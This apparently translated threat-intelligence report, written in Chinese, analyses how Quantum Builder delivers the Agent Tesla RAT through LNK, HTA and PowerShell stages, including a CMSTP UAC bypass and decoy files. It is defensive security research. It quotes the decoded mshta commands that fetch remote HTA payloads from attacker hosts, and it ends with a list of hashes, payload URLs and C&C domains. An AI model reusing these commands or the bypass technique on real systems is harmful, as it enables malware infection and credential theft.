Zscaler 的研究人员发现暗网上正在出售名为 Quantum Builder 的构建工具,该工具可以投递 .NET 远控木马 Agent Tesla。与过去的攻击行动相比,本次攻击转向使用 LNK 文件。
Quantum Builder 能够创建恶意文件,如 LNK、HTA 与 PowerShell,最后投递 Agent Tesla。攻击者使用复杂的技术来生成 Paylo
使用 CMSTP 绕过用户账户控制,以便以管理权限执行最终 Payload 并关闭 Windows Defender 利用集成了无文件攻击等多种攻击向量的多阶段感染链 在内存中执行 PowerShell 脚本以进行逃避检测 打开诱饵分散受害者的注意力
后文对感染链进行了深入分析,并对 Quantum Builder 生成的 Payload 进行了比较。
【感染链】
HTA 文件解密 PowerShell 脚本,在执行 AES 解密和 GZIP 解压缩后解密并加载另一个 PowerShell 脚本。解密后的 PowerShell 脚本是一个 Downloader,通过远程服务器下载 Agent Tesla,再使用 CMSTP 绕过 UAC 以管理权限执行。
【鱼叉邮件】
邮件带一个GZIP文件作附件,与带PDF图标的恶意LNK文件捆绑在。执行后 LNK 文件会运行混淆的PowerShell代码,经过base64解编码与异或解密得到执行命令 IEX mshta https[:]//filebin.net/njqyvfot61w0tu9a/ordr[.]hta
。
【执行混淆代码】
【通过 MSHTA 执行远程服务器上的 HTA 文件】
HTA 文件包含多个千余行的垃圾 VBS 函数,其中只有一个与恶意行为有关。
【HTA 主要函数】
解密出来的 PowerShell 脚本如下所示:
【解密 PowerShell 代码】
解密完成后,恶意函数就会通过 CreateObject() 创建一个 Wscript.Shell 对象,然后通过 Run 方法执行解密后的 PowerShell 脚本。
【PowerShell 代码执行】
解密的代码以隐藏窗口的形式执行,解密后会获取另一个 PowerShell 代码。
【执行新的 PowerShell 代码】
IEX 函数执行 AES 解密与 GZIP 解压是关键的 PowerShell 代码:
从远程服务器下载 Agent Tesla 的 Payload 执行 CMSTP 绕过 UAC 通过操作文件属性隐藏 Agent Tesla
Agent Tesla 被硬编码命名为 MuUQDuaFNoGmHQE.exe
,并且被最终执行:
【解密 PowerShell 代码】
解密可获取 Agent Tesla 的部署地址:
【URL 解密】
【下载 Agent Tesla】
通过WriteAllBytes()函数写入磁盘,路径为C:\Users\<username>\AppData\Roaming\MuUQDuaFNoGmHQE.exe
:
【写入指定位置】
Agent Tesla 二进制文件的路径作为参数传递给 PowerShell 脚本中的 CMSTP UAC Bypass 函数。该函数最初解码一个特别大的、base64 编码的数据块,如下所示:
【CMSTP UAC Bypass】
解码后的代码是基于 PowerShell 的 CMSTP UAC Bypass PoC,在 GitHub上也能够找到。基于 PowerShell 的 CMSTP UAC 绕过 PoC 脚本在执行时会在 Temp 目录中写入恶意 INF 文件,其中 PowerShell 脚本中的 $CommandToExecute
变量是 Agent Tesla 二进制文件的路径。
【恶意 INF 文件】
将 INF 文件写入临时目录后,PowerShell 代码会生成一个新进程 cmstp.exe
,并以 /au $InfFileLocation
作为参数,然后安装恶意 INF 文件,如下所示:
【恶意 INF 文件作为参数执行 CMSTP】
在 cmstp.exe 安装 INF 文件时,RunPreSetupCommandsSection 参数中的命令将以管理权限执行。该脚本将 [ENTER] 按键发送到活动的窗口应用程序,以便使用 SendKeys.SendWait() 函数自动执行。
【触发 UAC 绕过】
当以恶意 INF 作为参数生成 cmstp.exe 时,就会以管理权限执行恶意软件,如下所示:
【UAC 绕过并以管理权限执行】
Agent Tesla 的 C&C 服务器被配置为:
【配置信息】
C&C 通信如下所示:
【C&C 通信】
PowerShell 代码还通过操作隐藏文件属性来隐藏 Agent Tesla 二进制文件,如下所示:
【隐藏文件】
感染链的另一个变种,LNK 文件被捆绑在 ZIP 压缩包中。通过命令 Iex mShta http://179[.]43[.]175[.]187/puao/PAYMENT.hta
来执行远程 HTA 文件。通过将整数转换为字符然后替换空格并进一步利用 MSHTA 从远程 URL 执行 HTA 文件,如下所示。
【通过 LNK 执行 HTA 文件】
MSHTA 执行的 HTA 文件与之前感染链中使用的文件相同,加密数组转换为字符以形成可通过 Run 方法执行的 PowerShell 代码。
【HTA 文件解密 PowerShell 代码】
除了 Run() 方法之外,在某些情况下,HTA 文件利用 ShellExecute() 方法执行 PowerShell 代码,如下所示:
【通过 ShellExecute() 执行代码】
下载落地后,使用 Start-Process() 从 AppData 路径执行 Agent Tesla。如果 Payload 的扩展名为 .dll
,则它使用 rundll32.exe 将 DLL 加载到虚拟内存中。
【通过解密的 PowerShell 代码下载并执行 Agent Tesla】
在某些情况下,还会有在内存中解密的 PowerShell 代码。代码使用 Invoke-Item 函数下载并执行了一个诱饵文件,以此来分散受害者的注意力,如下所示:
【诱饵执行】
C&C 服务器的配置为:
【配置信息】
C&C 通信如下所示:
【C&C 通信】
【Quantum Builder】
HTA 生成工具如下所示:
【HTA 生成工具】
用户输入传递给 HTA Builder 函数以构造 HTA 文件,如下所示:
【HTA 生成工具】
将此代码与之前分析的 HTA 代码比较,可以确定 Payload 是由 Quantum Builder 生成的。
【在野 HTA 文件】
LNK 生成工具如下所示:
【LNK 生成工具】
快捷方式的构造参数有 Description、IconLocation、Target Path、Arguments 和 WindowStyle,如下所示:
【LNK 生成工具】
将此代码与之前分析的 LNK 代码比较,可以确定 Payload 是由 Quantum Builder 生成的。
【在野 LNK 文件】
LNK 构建工具还可以生成 ISO 文件的 Payload,如下所示:
【ISO 生成工具】
Quantum Builder 已被攻击者多次利用,部署了多个恶意软件家族:
RedLine Stealer IcedID GuLoader RemcosRAT and AsyncRAT
3edfa0cf3b7d54c24013e4f0019dba20 bb914889d5edc6b56c666d2e44e1a437 1adc0bd494cd42578ac8c8e726d5ad92 31c341ad31224cc7d38a5c4e80ccb727 f931773a226809669cad91410a57267f d9433faddcaca526b26f713e27e2505f 213ada506251c477480bd14ea5507bf3 0ebb9d422f8e86458d8fa7f66fe1d0f1 563fda5da81a5e7818d771222e81f6c4 filebin[.]net/njqyvfot61w0tu9a/ordr[.]hta filebin[.]net/yiob7vjw7pqow03r/RFQ_270622[.]hta 179[.]43[.]175[.]187/puao/PAYMENT[.]hta 179[.]43[.]175[.]187/puao/PO-M6888722[.]hta filebin[.]net/e730ez2etlh3weer/MuUQDuaFNoGmHQE[.]exe 179[.]43[.]175[.]187/puao/PAYMENTS[.]exe 179[.]43[.]175[.]187/puao/PO-M6888757[.]exe mail[.]thesharpening.com[.]au ftp[.]qurvegraphics[.]com
https://www.zscaler.com/blogs/security-research/agent-tesla-rat-delivered-quantum-builder-new-ttps